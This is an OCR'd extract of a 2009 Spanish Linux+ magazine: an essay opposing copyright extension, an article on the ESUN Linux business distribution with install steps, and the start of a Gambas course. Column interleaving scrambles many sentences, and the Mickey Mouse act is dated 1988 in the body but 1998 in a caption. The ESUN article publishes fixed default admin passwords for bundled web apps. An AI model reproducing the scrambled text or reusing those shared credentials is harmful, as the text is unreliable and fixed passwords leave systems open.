buidoras las que más se benefician de la explo- sarían a manos de su viuda/o o sus hijos. Esta riormente, es la base del Copyright actual
tación del Copyright de las obras, pasando parte extensión se aplicaba con carácter retroacti- en ese país. En esta extensión, el gobierno
de los beneficios a los autores. vo, de forma que los trabajos publicados en estadounidense se adhirió a la convención
los 14 años anteriores pasaban a tener unos internacional de Berna, estableciendo para el
Extensión derechos similares. Copyright un plazo de 50 años hasta después
del Copyright En 1909, la gran mayoría de los países de la muerte del autor. Sin embargo, debido
en Estados Unidos habían adoptado el Convenio de Berna dónde, a la complicación de gestionar el copyright de
La historia del Copyright en Estados Unidos instigados por Victor Hugo, se había estable- esta forma, estableció diversas modalidades.
está llena de modificaciones y extensiones. En cido la duración del Copyright en 50 años Por un lado, los trabajos publicados con ante-
1790 se establecían las bases federales para el después de la muerte del autor. Sin embargo, rioridad a Enero de 1976, estarían protegidos
control del Copyright, marcando un plazo de Estados Unidos siguió una línea un tanto dis- durante 75 años desde su publicación, lo cuál
14 años, más otros 14 adicionales tras pedir una cordante estableciendo 28 años de copyright, permitía proteger a los trabajos con copyright
prórroga, durante los cuales los autores eran más una extensión de otros 28 años tras pedir posterior a 1909 gracias a los 28+28 años que
dueños y señores de sus trabajos, con derechos una renovación de los derechos. Además, se protegía el acto de 1909. Por otra parte, los
únicos sobre sus obras para imprimir, reimpri- establecía que solo se aplicarían estas normas trabajos cuyo copyright recaía en corpora-
ciones, pasaban a estar protegidos durante 75
años. La razón que se esgrimió para proteger
los trabajos durante tanto tiempo es el avance
en las comunicaciones, que, según el Congre-
so, aumentaba sustancialmente la vida comer-
cial de la mayoría de las creaciones.
El acto de 1976 acercó a los Estados Uni-
dos a lo establecido en la Convención de Ber-
na, pero no sería hasta 1988 cuando entrarían
realmente dentro de este tratado gracias al
acto de extensión de 1988, también calificado
como el Acto de Protección de Mickey Mouse.
Este acto fue promovido por la compañía Dis-
ney que veía peligrar el copyright de muchos
de sus trabajos, en particular el de su persona-
je más carismático, Mickey Mouse, de ahí el
sobrenombre popular. Con este acto, las obras
pasaron a estar protegidas hasta 70 años des-
pués de la vida del autor, o en el caso de los
registros realizados por empresas, 120 años
después de la creación o 95 años después de
la publicación (lo primero que ocurriera).

Extensión
del Copyright en Europa
En Europa las leyes aplicables al Copyright
marcan una duración de 50 años, por lo que
durante esos 50 años, los propietarios del Co-
pyright de las obras tienen el control de la di-
fusión, reproducción, copia o modificación de
las mismas, pasando posteriormente al dominio
público.
En los últimos tiempos, ha habido varias
campañas por parte de los dinosaurios de la
Figura 3. Imagen de Mickey Mouse, protegida bajo Copyright hasta el 2020 gracias al acto de protección de música y otras artes, como Sir Cliff Richard
1998, y utilizada mediante el derecho a cita. (http://en.wikipedia.org/wiki/File:Copyright_term.svg) y Sir Paul McCartney (The Beatles) o Roger

62 Linux+ 4/2009
conocimiento libre
Extensión del Copyright en Europa

de invertir en pensiones, ya bien sea gracias agregados merecen respeto y admiración,


Sobre el autor a sus contribuciones a la seguridad social o a pen- pero sería inadecuado otorgar a sus crea-
siones privadas. ¿Por qué los artistas van a ser dores, intérpretes y productores derechos de
José Carlos Cortizo Pérez es Ingeniero Su- menos? Es muy bonito levantar el estandar exclusividad monopólicos sobre algo que se
perior en Informática y, actualmente, doc- del arte, gastarse todo el dinero a lo loco en inspira en el conocimiento y la creatividad
torando en el programa de Ciencias de la una juventud productiva y luego reclamar que forman parte del dominio público y son
Computación de la Universidad Carlos III más derechos cuando ves que no te queda un producto de la labor de otros artistas.
de Madrid. Tras una dilatada experiencia duro, pero ante los gobiernos todos debería- Los artistas crean sus obras en base a una
como consultor, actualmente compagina mos ser iguales y, con ello, a los artistas les cultura y conocimiento popular y, sin em-
sus labores como CTO en AINetSolutions debería tocar pagarse su pensión como a todo bargo, cobran por su producción cultural
y Wipley, con labores docentes y de in- el mundo, ni más ni menos. y están tratando de que la misma tarde casi un
vestigación en la Universidad Europea de Por otra parte, y por mucho que se ar- siglo en llegar a la cultura mainstream. Esta
Madrid. Su bitácora personal se encuentra gumente que esta medida trata de defender a postura es totalmente egoista y, en una era en
en http://josekblog.blogspot.com los artistas, las grandes beneficiarias serán las la que el conocimiento crece a velocidades
Por otra parte, José Carlos es miembro discográficas, que son quienes poseen los de- de vértigo gracias a las nuevas tecnologías,
de GLUEM (Grupo de Usuarios de Linux rechos de explotación (Copyright) de las obras no tiene sentido que se trate de retrasar la en-
y Software Libre de la Universidad Europea y, con ello, quienes atesorarán las ganancias trada de las obras en el dominio público. 50
de Madrid, http://www.gluem.org), orga- adicionales. Según un estudio del Open Right años ya representa un cambio generacional
nización muy activa que, de forma anual, Groups, el 80% de los artistas recibirán entre bastante duro y proteger obras por casi un
organiza las Jornadas de Informática de la 0,26 y 26 euros al año bajo la nueva ley, lo cual siglo supone que, la gran mayoría de ellas,
UEM (en Otoño) y las Jornadas de Conoci- representa algo totalmente despreciable, sin habrán caído totalmente en el olvido cuando
miento Libre (en Primavera). embargo el coste para los ciudadanos ascenderá cesen sus derechos y, con ello se habrá per-
a una cantidad entre 44 y 843 millones de euros dido cultura.
Daltrey (The Who), tratando de extender la que, en gran medida, irán a parar a manos de las
duración del Copyright en Europa por otros discográficas. Conclusiones
45 años más. La Unión Europea se hizo eco Y aún es más, siguiendo el planteamiento Queda patente que los gobiernos modifican
de esta petición, y se está planteando el am- de Joost Smiers (profesor de Ciencia Política las leyes del Copyright ya no por un tema
pliar el plazo hasta los 95 años para, según sus de las Artes en la Utrech School of the Arts de de mantener a los autores, ni de preservación
palabras, proteger a los artistas de forma que Holanda), la base filosófica del sistema de co- de la cultura, sino debido a la presión de los
se beneficien durante más tiempo. Siguiendo pyright actual se apoya en un mal entendido: lobbies editoriales y discográficos que desean
su razonamiento, los artistas deben poder be- la originalidad de los artistas es inagotable, maximizar la explotación de sus obras. Sin
neficiarse de sus derechos una vez pasado su concepto que se aplica a creadores e intérpre- embargo, el dejar de lado a los consumido-
periodo de mayor productividad. tes. Pero la realidad indica otra cosa, porque res y los ciudadanos, genera un importante
Sin embargo hay muchas cosas que no los artistas siempre tienen en cuenta las descontento social que, entre otras cosas, se
cuadran. Para empezar, todos los trabajadores obras creadas en el pasado y en el presente, ve traducido en aumento de las descargas
han de labrarse un sueldo para su futuro a base y agregan elementos al corpus existente. Esos ilegales, como una forma de decir NO a la
explotación de la cultura por parte de estos
imperios discográficos y editoriales.
Como Sociedad, debemos decir NO a la
extensión del copyright, y fomentar la genera-
ción de cultura y el traslado de la misma al pa-
trimonio global. Esto no quiere decir que los
artistas no puedan verse recompensados por
su trabajo, claro que no, pero deberán verse
recompensados de forma directa durante un
tiempo y, posteriormente, de forma indirecta
gracias a las puertas que les abre el recono-
cimiento social. Además, tanto discográficas,
editoriales, como artistas, han de explorar
nuevos modelos de negocio que contenten
a todas las partes, incluidos los consumidores.
Herramientas como Spotify, que permiten el
consumo de música desde cualquier parte de
forma gratuita y legal, siembran el futuro de
esperanza para todos.
Ahora bien, ¿serán los gobiernos capaces
de frenar las presiones de los lobbies? ¿serán
capaces de entender que deben representar
Figura 4. Europa se da cita con el Copyright. En los próximos meses veremos cómo se resuelve este tema a los ciudadanos y no solo a unos pocos?

www.lpmagazine.org 63
linux en la empresa
ESUN Linux

Software Libre,
desde el aula a la empresa
Juan Pablo Tobar
Hoy en día por cada área de administración de empresas existe una
amplia oferta de aplicaciones destinadas a mejorar la productividad
de los profesionales a cargo. Sin embargo, la integración de software
en la gestión no es sólo de interés de las empresas, también lo
es de las organizaciones encargadas de preparar a los futuros
profesionales del área.

E
n la primera parte de este artículo veremos como to con aquella de la Universidad de Chile, darían luego origen
linux@software.com.pl

la Escuela de Negocios de la Universidad de a la Universidad de Tarapacá, a inicios de los años 80.


Tarapacá (Chile) utiliza una distribución Linux, A la carrera de Ingeniería Comercial pronto se le uniría
que incluye software para la gestión de empre- aquella de Contador Auditor- Contador Público y, reciente-
sas, en la formación de sus alumnos. En la segunda parte mente, la carrera de Ingeniería en Sistema de Información
sabrás cómo utilizar la misma distribución en tus propios y Control de Gestión. En el postgrado, la Escuela ha desarro-
proyectos. llado sistemáticamente y ampliamente en el último tiempo
programas de MBA tanto en la ciudad de Arica como en
En el Aula diferentes ciudades del Perú, a los que se suman otros progra-
En esta primera parte conoceremos un perfil de la Escuela mas de magíster, diplomados y cursos en diferentes áreas de
de Negocios de la Universidad de Tarapacá (UTA) y luego especialización empresarial.
las razones que ha tenido esta institución para implementar La misión de la Escuela ha sido definida en términos de
Linux y el Software Libre en la formación de sus alumnos. desarrollar docencia de alta calidad para formar profesionales
competentes en el área de negocios, complementando aque-
La Escuela de Negocios lla con investigación aplicada. Su ámbito de acción ha sido
La Escuela de Negocios de la UTA cuenta con más de 40 identificado y definido en la Región de Arica y Parinacota
años formando profesionales de la gestión de empresas, en- (extremo norte de Chile) y, en los países de Perú y Bolivia.
tregando títulos de pregrado y postgrado tanto en su sede de Aspira también la Escuela, como visión, a transformarse
Chile como en el vecino país del Perú. en una unidad académica reconocida e importante en la zona
En efecto, la Escuela es heredera de la formación de in- norte del país, a través de la calidad de sus profesionales.
genieros comerciales que se iniciaría en Arica en el año 1966, Como uno de sus objetivos estratégicos se cuenta el dotar
a través de la Universidad Católica del Norte; y cuya sede jun- a las carreras de infraestructura y equipamiento necesario pa-

64 Linux+ 4/2009
linux en la empresa
ESUN Linux

ra lograr profesionales competentes y, particu-


larmente le interesa a la Escuela, el disponer del
equipamiento tecnológico adecuado que permi-
ta efectivamente alcanzar aquel objetivo; a la
par de satisfacer las necesidades propias que
demanda la modernización permanente en los
planes de estudio de las carreras de pregrado,
orientadas esencialmente en base a competen-
cias y donde las tecnologías de la información
juegan un rol esencial.

Ventajas
de usar Linux en una
Escuela de Negocios
La razones que ha tenido la Escuela de Nego-
cios de la UTA para incluir a Linux en sus acti-
vidades formativas, se pueden analizar desde el
punto de vista de sus principales beneficiarios:
Figura 2. El escritorio en modo Live

Para sus alumnos: Brasil, India, California), investigación científi- Para sus profesores: más herramientas
Entrega formación en una tecnología ca (NASA), entretenimiento (Pixar), transporte para apoyar la formación
de popularidad creciente (Boeing y FedEx) y defensa (Departamento de El software tiene la capacidad de involucrar al
La Feria Internacional de Electrónica de Consu- Defensa de EEUU). alumno con los contenidos teóricos, es por esto
mo (CES), en Las Vegas, EEUU, es un evento De esta manera, se hace necesario que se que incluirlos en los programas de formación se
que desde 1967 entrega las principales tenden- entregue a los alumnos la oportunidad de co- torna muy importante.
cias y anuncios del mercado tecnológico. En la nocer alternativas que se estén popularizando, Si utilizamos aplicaciones cerradas, la ca-
versión de este año, celebrada entre el 8 y 11 de con el fin de que reciban una formación que pacidad para incluir software en las asignaturas
enero, destacó la amplia presencia de Linux en se relacione directamente con las tendencias estará limitada por los recursos disponibles
múltiples nuevos productos, como por ejemplo: actuales. para adquirir licencias para cada programa
portables, telefonía, servidores, virtualización Por otra parte, las características únicas y cada equipo que utilicen los alumnos y, tam-
y soluciones de almacenamiento masivo. de las aplicaciones libres, les da a los alumnos bién, a la capacidad de los alumnos de ad-
La creciente popularidad de las soluciones la oportunidad de participar en las distintas quirir dichas licencias en caso de que quieran
de Software Libre ha permitido que nos encon- comunidades encargadas de desarrollar, docu- tener acceso a los mismos programas.
tremos con experiencias exitosas en casos tan mentar y/o difundir la plataforma, pudiendo Por otra parte, la gran mayoría de las apli-
diversos como: servicios financieros (Bolsa de así promover la generación de conocimiento caciones abiertas son también gratuitas, por
Nueva York y Merril Lynch & Co.), Internet local y potenciando la capacidad de trabajo lo que al desarrollar un sistema libre se tiene
(Google, Yahoo!), gobiernos y estados (China, en equipo. acceso a miles de programas para ser usados
en el apoyo a las clases. Si quisiéramos hacer
esto mismo con software cerrado sería econó-
micamente inviable, al menos en número de
aplicaciones.

Para su entorno: Entrega soluciones


a problemas actuales
El organismo que reúne a los mayores pro-
ductores de software en el mundo, la Business
Software Alliance (www.bsa.org), en su último
reporte anual coloca a Latinoamérica como la
segunda región con mayor índice de piratería
en el mundo, con un promedio de 65% (la lista
la encabeza Europa central y del este con un
68%). Ya sea por el costo, la accesibilidad o la
baja fiscalización, esta situación de ilegalidad
es nociva tanto para proveedores como para
usuarios.
Las universidades además de influir en
su entorno con los profesionales que forma lo
hace liderando la generación de conocimiento
Figura 1. Opciones de arranque que ayude a solucionar los problemas de su

www.lpmagazine.org 65
linux en la empresa
ESUN Linux

• Sourceforge (http://sourceforge.net/),
• Freshmeat (http://freshmeat.net/browse/201/),
• LinuxAlt (http://www.linuxalt.com/),
• FSF (http://directory.fsf.org/),
• OSALT (http://www.osalt.com/es/),
• SOFOFA (http://www.sofofa.cl/sofofa/
index.aspx?channel=4319&appintanceid
=12189&pubid=5585),
• Ohloh (http://www.ohloh.net/projects/
search),
• Freealts (http://www.freealts.com/),
• Savannah (http://savannah.gnu.org/),
• GNA (https://gna.org/),
• Sourcewell (http://sourcewell.berlios.de/),
• Linuxrsp (http://www.linuxrsp.ru/win-lin-
soft/table-eng.html).

Aplicaciones
Figura 3. Primer paso de la instalación: Selección del idioma
libres sobre Windows
comunidad. En el caso particular del software • Definir los programas y las características La segunda etapa buscó desarrollar experiencia
en la gestión de pequeñas empresas existen dos a incluir en el Sistema: La selección de las en uso de aplicaciones libres bajo Windows, en
problemas básicos: el uso de programas sin li- aplicaciones que finalmente se incluyeron las funciones básicas de: navegación en Inter-
cencia (piratería) y el bajo índice de integración en el proyecto se realizó en tres etapas, net y cliente de correo. Afortunadamente dicha
de software en los procesos de negocio. Ambos integrando filtros en cada una de ellas: experiencia ya existía al momento de desarro-
problemas pueden ser enfrentados entregando – Filtro 1: Aplicaciones nativas para Li- llar el proyecto, mediante el uso de: Firefox
una versión de Linux adaptada al entorno. nux, liberadas bajo una licencia li- y Thunderbird.
De esta manera, una distribución Linux con bre, autorizada por la Free Software
software en las áreas de: CRM, ERP, contabi- Foundation o la Open Source Initia- Desarrollo
lidad, gestión de proyectos y gestión de recur- tive y con actividad durante el último
Una vez definidos los perfiles de usuarios y de
sos humanos, permite profundizar la vincula- año (2417 aplicaciones). hardware, así como de las aplicaciones necesa-
ción con el medio de la Escuela de Negocios – Filtro 2: Según madurez, idioma y pe-
rias para satisfacer las necesidades de dichos
y entrega a las empresas de menor tamaño la riodicidad de actualizaciones (140 apli-
perfiles, se inició el desarrollo de la distribución
oportunidad de aumentar el uso de software de caciones). basada en Linux.
gestión de forma completamente legal y a un – Filtro 3: Medición del desempeño en Para el desarrollo se seleccionó como
bajo costo. equipo prototipo, según funcionalidades
distribución base a: Ubuntu Linux en su ver-
sión Minimal CD (9.9MB). Esta versión usa
entregadas versus uso de memoria RAM
El Proceso de Migración y espacio en disco (31 aplicaciones).
un instalador en modo texto para entregarnos
Una vez vistas las razones para implementar un sistema básico, a partir del cual podemos
Linux en la Escuela de Negocios veremos cuál Los directorios consultados para la búsqueda de trabajar para obtener finalmente uno adaptado
fue el proceso seguido. aplicaciones fueron: a nuestras necesidades.

Investigación
El objetivo general de la primera etapa fue
conocer la realidad actual de la Escuela de
Negocios, tanto a nivel de necesidades de
software como del tipo de hardware disponi-
ble para implementar el proyecto. Los objeti-
vos específicos de esta etapa fueron:

• Definir los tipos de perfiles de usuarios


(qué usuarios existen y qué funcionalida-
des requieren cubrir): Esta información
permitió definir las aplicaciones que final-
mente se incluyeron en el Sistema Opera-
tivo.
• Definir perfiles de hardware disponible:
Los perfiles (características de hardware),
permitieron conocer cuáles son los equi-
pos con los que interactuaría el Sistema. Figura 4. Segundo paso de la instalación: Selección de la zona horaria

66 Linux+ 4/2009
linux en la empresa
ESUN Linux

presencial estarán a su vez capacitados para


ser ayudantes en asignaturas que requieran
la inclusión de algunos de los programas
considerados en el proyecto.
• Profesores: Para el caso de los profesores
se ha considerado la capacitación a nivel
de teoría del Software Libre y en lo que
respecta al uso del sistema en general. Lo
anterior considerando la disponibilidad de
tiempo de este tipo de usuario y a que se
disponen de alumnos ayudantes para la
aplicación de programas específicos.
• Administradores: para quienes se encargan
de dar soporte y de mantener los equipos
de la Escuela, se considera la entrega de
contenidos en lo que respecta a adminis-
tración de sistemas Linux.
Figura 5. Tercer paso de la instalación: Distribución del teclado
Migración total
A partir del sistema base se instaló el sistema libre para aprovechar nuevos pro- Luego de realizada la capacitación se estará en
entorno gráfico, software de administración gramas. posición de evaluar si es posible migrar total-
y de funciones básicas y las aplicaciones para mente a Linux (eliminando el arranque dual)
la gestión de empresas (definidas en la etapa Capacitación o si, por ejemplo, debido a la dependencia de
inicial del proyecto). Actualmente el proyecto se encuentra en esta una aplicación disponible sólo para Windows,
etapa, realizándose distintas capacitaciones se deben mantener ambos sistemas.
Pruebas de desempeño según el tipo de usuario. Por ejemplo:
La etapa anterior nos entregó una distribución En la Empresa
Linux basada en Ubuntu y adaptada a las ne- • Alumnos: Para este tipo de usuario se rea- En esta segunda parte veremos cómo puedes
cesidades de la Escuela de Negocios. En esta lizan capacitaciones relacionadas con la instalar la distribución vista en la primera parte
cuarta etapa se realizaron pruebas empíricas teoría del Software Libre, el uso del sis- y cuáles son las principales aplicaciones que
para garantizar que el sistema final funciona tema en general y el uso de aplicaciones incluye.
correctamente en los equipos disponibles. específicas para la administración de em-
presas. Los contenidos se entregan en un Instalando la distribución
Instalación en formato dual curso como parte de su formación profe- El proceso de instalación es muy similar a la
Tan pronto se verificó que el Sistema funciona- sional llamado: Uso Práctico de Software mayoría de las distribuciones. A continuación
ba correctamente en los equipos, se procedió a para la Gestión de Empresas y también veremos la descripción de cada uno de los
la instalación en formato dual, esto quiere decir como documentación electrónica. Cabe pasos.
que se mantuvo el sistema existente (Windows señalar que la principal diferencia radica El primer paso es descargar ESUN Linux
XP) y junto a este se instaló la distribución en que los alumnos que toman el curso desde el sitio web del proyecto (www.esunlinux.
Linux desarrollada, pudiendo el usuario selec-
cionar con cuál inicia cada sesión.
Este tipo de instalación se llevó a cabo con
el fin de tener mínimos impactos negativos en
la productividad de los involucrados. Lo ante-
rior se hace necesario debido a las siguientes
razones:

• La mayoría de los involucrados son usua-


rios de Windows por lo que una migración
total inicial podría impactar negativamente
en sus actividades diarias. Al hacerlo en
forma gradual, y apoyado por capacita-
ción, el proceso de cambio se hace menos
costoso en términos de adaptación.
• Puede que las alternativas libres a las
utilizadas actualmente por los profesores
no cumplan con todas las funcionalidades
requeridas, por lo que se necesitaría man-
tener el acceso a ellas y a la vez tener el Figura 6. Cuarto paso de la instalación: Particionado

www.lpmagazine.org 67
linux en la empresa
ESUN Linux

• Guiado (cambia tamaño del disco): Es


la primera opción y es útil cuando tienes
otro sistema ya instalado. Esta opción te
permitirá usar el espacio que queda dis-
ponible, creando dos particiones, una en
la que dejará el sistema que ya tenías
instalado y otra en la que se instalará tu
nuevo sistema.
• Guiado (utilizar todo el disco): Esta
opción es recomendable si quieres de-
jar en tu equipo solamente el sistema
que estás instalando. Se debe conside-
rar que si seleccionas esta opción y tu
equipo tiene instalado otro sistema, este
será borrado.
• Manual: Puedes utilizar esta opción si
previamente realizaste el particionado de
tu disco y quieres tener un mayor control
Figura 7. Quinto paso de la instalación: Información de usuario
sobre la selección de las particiones.
com). Una vez descargado lo quemamos en un Para iniciar la instalación hacemos doble
CD, lo colocamos en el lector y reiniciamos el click en el icono Instalar del escritorio. El En el paso 5 el programa de instalación nos pide
equipo. Si todo a resultado bien lo que debe- primer paso que se debe completar es seleccio- nuestros datos personales:
rías ver es una pantalla similar a la que está nar el idioma que utilizaremos durante todo el
presentada en la Figura 1. Las opciones que proceso (Figura 3). En segundo lugar seleccio- • Nuestro nombre,
tenemos son: namos nuestra zona horaria (Figura 4). • El nombre de usuario y la clave con los
Luego de la zona horaria seleccionaremos cuales nos identificaremos en el sistema
• Iniciar ESUN Linux Live CD en Modo Grá- la distribución de nuestro teclado. Para asegu- (obviamente es muy importante que recor-
fico: Esta opción es una de las más usadas rarte de que has seleccionado correctamente demos estos datos),
ya que permite probar el sistema sin tener puedes probar escribiendo en el campo dispo- • Y finalmente un nombre para el equipo.
que instalarlo, porque corre directamente nible en la zona inferior (Figura5).
desde el CD. Una vez que lo has probado Uno de los pasos más importantes es la Opcionalmente podemos seleccionar que se
puedes usar el icono que está en el escritorio preparación del disco duro y la selección de inicie automáticamente la sesión (generalmente
para instalar el sistema en tu disco duro (esto la partición que usaremos para instalar el usado en sistemas de kioskos interactivos, ver
es lo que veremos en los siguientes párrafos. sistema. Una partición no es más que una Figura 7).
Se recomienda este tipo de instalación en división del disco que utilizamos para un fin El penúltimo paso nos pregunta si quere-
equipos de más de 256M de RAM). en particular. Un disco puede tener 1 partición mos importar los documentos y configuracio-
• Iniciar ESUN Linux Live CD en Modo Grá- (el disco completo) o varias particiones, es nes de cuentas que existan en otros sistemas
fico a Prueba de Fallos: Puedes utilizar esta decir, el disco dividido en varias secciones. El presentes en el equipo (Figura 8). Si no se
opción si falla en iniciar el entorno gráfico instalador te ofrece tres alternativas de parti- necesita importar solo se presiona el botón
en la opción anterior. cionado (Figura 6): Adelante.
• Instala ESUN Linux Live CD: La tercera
alternativa te permite exclusivamente rea-
lizar el proceso de instalación sin iniciar el
escritorio.
• Verifica la Integridad del CD/DVD: Che-
quea el CD que contiene el sistema que se
desea ejecutar.
• Test de Memoria: Realiza pruebas sobre la
memoria RAM.
• Inicia desde el Primer Disco Duro: Si no
se desea iniciar ninguna de las opciones
anteriores se puede seleccionar arrancar
desde el sistema operativo que esté insta-
lado en el primer disco duro.

Una vez que has seleccionado Iniciar ESUN


Linux Live CD en Modo Gráfico, se cargarán
todas las aplicaciones necesarias hasta llegar al
escritorio que se ve en la Figura 2. Figura 8. Sexto paso de la instalación: Importar configuración

68 Linux+ 4/2009
linux en la empresa
ESUN Linux

• Abanq (http://abanq.org/);
• Dolibarr (http://www.dolibarr.org/):
– usuario: demo,
– clave: democlave,
– administrador: admin,
– clave: admin1378;
• SQLLedger (http://sql-ledger.com/):
– usuario: demo,
– clave: democlave,
– clave administrador: admin1378;
• SugarCRM (http://www.sugarcrm.com/):
– usuario: demo,
– clave: democlave,
– administrador: admin,
– clave: admin1378;
• vTigerCRM (http://www.vtiger.com/):
– usuario: demo,
– clave: democlave,
Figura 9. Último paso de la instalación: Confirmación
– administrador: admin,
Por último se nos muestra un resumen con A continuación veremos, en mayor detalle, – clave: admin1378.
todas las opciones que hemos seleccionado. cuáles son las aplicaciones incluidas en ESUN
Si estamos de acuerdo con todo presionamos Linux, clasificadas según el área a la que per- Gestión de Proyectos
Instalar y esperamos a que el proceso concluya tenecen. Para aquellas aplicaciones que lo En esta área existe una amplia oferta de apli-
(cerca de 20 minutos según las características requieran se indica también la información de caciones libres, pero aquellos que se desem-
del equipo). ingreso (nombre de usuario y clave). peñaron mejor en las pruebas son los si-
Una vez concluida la instalación, se nos guientes:
pedirá que retiremos el CD del lector y que ERP/CRM
reiniciemos el equipo. Al reiniciar, si tenemos La Planificación de Recursos Empresariales • Achievo (http://www.achievo.org/):
más de un sistema operativo, se nos preguntará (ERP por sus siglas en inglés) y la Adminis- – usuario: demo,
cuál deseamos utilizar, de lo contrario arrancará
tración de la Relación con el Cliente (CRM), – clave: democlave,
directamente con el que acabamos de instalar forman dos de las principales herramientas – administrador: administrator,
(Figura9). de gestión de empresas actuales, por lo que el – clave: admin1378;
software de apoyo a estas actividades ha co- • Dotproject (http://www.dotproject.net/):
Las aplicaciones incluidas brado gran popularidad e importancia en los • usuario: demo,
Una vez finalizada la instalación ya tenemos últimos 15 años. • clave: democlave,
nuestro sistema funcionando desde el disco Los programas ERP/CRM incluidos son • administrador: admin,
duro y podemos ver con mayor detenimien- los siguientes: • clave: admin1378;
to los programas que tenemos disponibles.
Además de las aplicaciones típicas el sistema
también incluye programas basados en Web.
Sobre estos últimos se debe señalar que para
su correcto funcionamiento se necesita que
esté corriendo el software encargado del ser-
vicio Web (Apache) y alguna de las bases de
datos que se incluyen en el sistema (MySQL
o Postgresql).
Cuando se intenta acceder a una aplicación
basada en Web el sistema verifica si están co-
rriendo correctamente los servicios Web y de
base de datos, de no ser así le indica al usua-
rio que debe iniciarlos antes de poder usar
el programa. Para arrancar estos servicios
ejecutamos los siguientes comandos en una
terminal (una línea a la vez según el servicio
que se necesite iniciar):

sudo /etc/init.d/apache2 start


sudo /etc/init.d/mysql start
sudo /etc/init.d/postgresql-8.3 start Figura 10. Página principal del proyecto AbanQ

www.lpmagazine.org 69
linux en la empresa
ESUN Linux

• Egroupware (http://egroupware.org):
– usuario: demo,
– clave: guest,
– administrador: admin,
– clave: admin1378;
• Planner (http://live.gnome.org/Planner);
• TUTOS (http://www.tutos.org/):
– usuario: demo,
– clave: democlave,
– administrador: admin,
– clave: admin1378.

Contabilidad
Si bien los programas ERP integran módulos
de contabilidad, es importante entregar esta
función individualmente ya que es posible
que empresas de menor tamaño no requieran
Figura 11. Página principal de SugarCRM
todos los módulos que incluyen los ERP:
los programas ERP existen módulos para esta • Phpmyadmin (http://www.phpmyadmin.
• GNUCash (http://www.gnucash.org/); actividad: net/home_page/index.php);
• Homebank (http://homebank.free.fr/ • Phppgadmin (http://phppgadmin.sourcefor
index.php?id=4). • OrangeHRM (http://www.orangehrm. ge.net/).
com/):
Comercio Electrónico – usuario: demo1, Internet
Se han incluido dos de las más populares apli- – clave: democlave, Las aplicaciones de esta sección están des-
caciones de comercio electrónico con el fin de – administrador: admin, tinadas a servir las funciones de navegación
que el usuario tenga un entorno de pruebas – clave: admin1378. y acceso a correo electrónico.
antes de publicar su tienda en Internet:
Oficina • Epiphany (http://projects.gnome.org/
• Oscommerce (http://www.oscommerce. La generación y edición de documentos de ofi- epiphany/);
com/): cina es una de las actividades más recurrentes, • Claws Mail (http://www.claws-mail.org/).
– administrador: admin, es por esto que se han incluido aplicaciones que
– clave: admin1378; cubren exitosamente las funcionalidades que Gráficos
• Magento – http://www.magentocommerce. entregan programas propietarios: Por último se incluye la principal herramienta
com/ de edición gráfica de Software Libre:
– administrador: admin, • Abiword (http://www.abisource.com/);
– clave: admin1378. • Gnumeric (http://projects.gnome.org/ • GIMP (http://www.gimp.org/).
gnumeric/).
RRHH Se debe destacar que la gran mayoría de las
Al contrario de las categorías anteriores, la En caso de necesitar una solución más ex- aplicaciones de gestión de empresas inclui-
oferta de programas maduros y en español tensa puedes instalar OpenOffice (http://es. das en ESUN Linux son basadas en Web.
para la gestión de recursos humanos es limi- openoffice.org), para lo cual abres una termi- Esto implica que al usarlas necesitemos
tada. Sin embargo, cabe destacar que entre nal y ejecutas el siguiente comando: que estén funcionando el servidor Web y el
gestor de base de datos (ambos también in-
sudo aptitude install cluidos). Se han agregado dos pequeñas
openoffice.org aplicaciones que inician y detienen estos ser-
Sobre el autor openoffice.org-help-es vicios con el fin de evitar el consumo inne-
Juan Pablo Tobar dirige actualmente Ad- language-support-es cesario de recursos.
melix EIRL (http://www.admelix.com), em- En este artículo hemos visto un caso
presa orientada a desarrollar soluciones Bases de Datos práctico que muestra como se utiliza Linux,
basadas en Software Libre para empre- Si bien los motores de bases de datos inclui- y el Software Libre en general, en la for-
sas. Ingeniero Comercial y profesor part- dos tienen como objetivo principal servir mación de profesionales de la gestión de
time de la Escuela Universitaria de Nego- a otros programas de esta lista, también es empresas y como también puedes usar esas
cios de la Universidad de Tarapacá. Sus posible interactuar con ellos directamente mismas herramientas para tus iniciativas per-
intereses se centran en la aplicación he- mediante el uso de herramientas de línea de sonales.
rramientas libres en entornos organiza- comandos y gráficas presentes en el sistema: Finalmente para chequear nuevas versio-
cionales. Su bitácora personal es: http:// nes del sistema y obtener mayor información
www.kickbill.com • MySQL (http://www.mysql.com/); puedes consultar el sitio web: www.esunlinux.
• Postgresql (http://www.postgresql.com); com y/o escribir a: admin@esunlinux.com.

70 Linux+ 4/2009
Páginas
recomendadas

www.diariolinux.com www.elguille.info www.gatolinux.blogspot.com

www.opensourcespot.org www.hispabyte.net www.linuxdata.com.ar

www.linuxhispano.net www.pillateunlinux.wordpress.com www.usla.org.ar

www.mundopc.net www.picandocodigo.net www.linuxuruguay.org


programación
Curso de programación en Gambas

Programando
nuestro propio Editor de Texto
Jorge Emanuel Capurro
En esta entrega, veremos las facilidades que nos provee Gambas
para desarrollar un sencillo Editor de Texto. Para ello, daremos
una recorrida sobre los fundamentos del lenguaje BASIC y sus
estructuras, pasando también por el manejo de archivos de disco.

E
n esta segunda entrega del Curso de Progra- • Fecha de la venta,
linux@software.com.pl

mación bajo Gambas, nos centraremos en las • Nombre del cliente,


estructuras básicas del lenguaje para poder • Monto de la venta,
desarrollar toda la lógica de nuestro programa. • Monto de impuestos.
Empezaremos detallando los conceptos y usos de estas es-
tructuras, y finalizando con un ejemplo integrador, el de- Una vez obtenido estos datos, nuestro programa se encargará
sarrollo de un Editor de Texto. A partir de esta entrega, se de sumar el Monto de la venta + Monto de impuestos, para
incluirán ejercicios para que el lector pueda seguir practi- poder obtener el Monto final, que es el que se le cobrará al
cando y llegar a la próxima entrega del curso un poco más cliente. Todos estos datos se tiene que poder guardar en algún
entrenado. ¡Empecemos! lado de la memoria del ordenador, para poder volverlos a uti-
lizar, y para ello se utiliza lo que en programación se conoce
Variables como variables.
Las aplicaciones manejan tipos distintos de datos con- Una variable no es más que un contenedor, que se encar-
tinuamente, siendo estos necesarios para poder realizar ga de almacenar un valor. Recibe el nombre de variable, ya
operaciones y poder dar un resultado al usuario. Por que su valor puede ir modificándose -o variando- durante la
ejemplo, en una aplicación que se utilice en un negocio ejecución del programa, al contraste de las constantes, que su
de venta de ropa, tendríamos la necesidad de tener un valor no puede codificarse durante la ejecución del programa.
modulo que se encargue de imprimirle una factura al Las variables son fundamentales para el desarrollo de un pro-
cliente, detallando la compra que ha realizado. En este grama que almacene valores y tenga que realizar operaciones
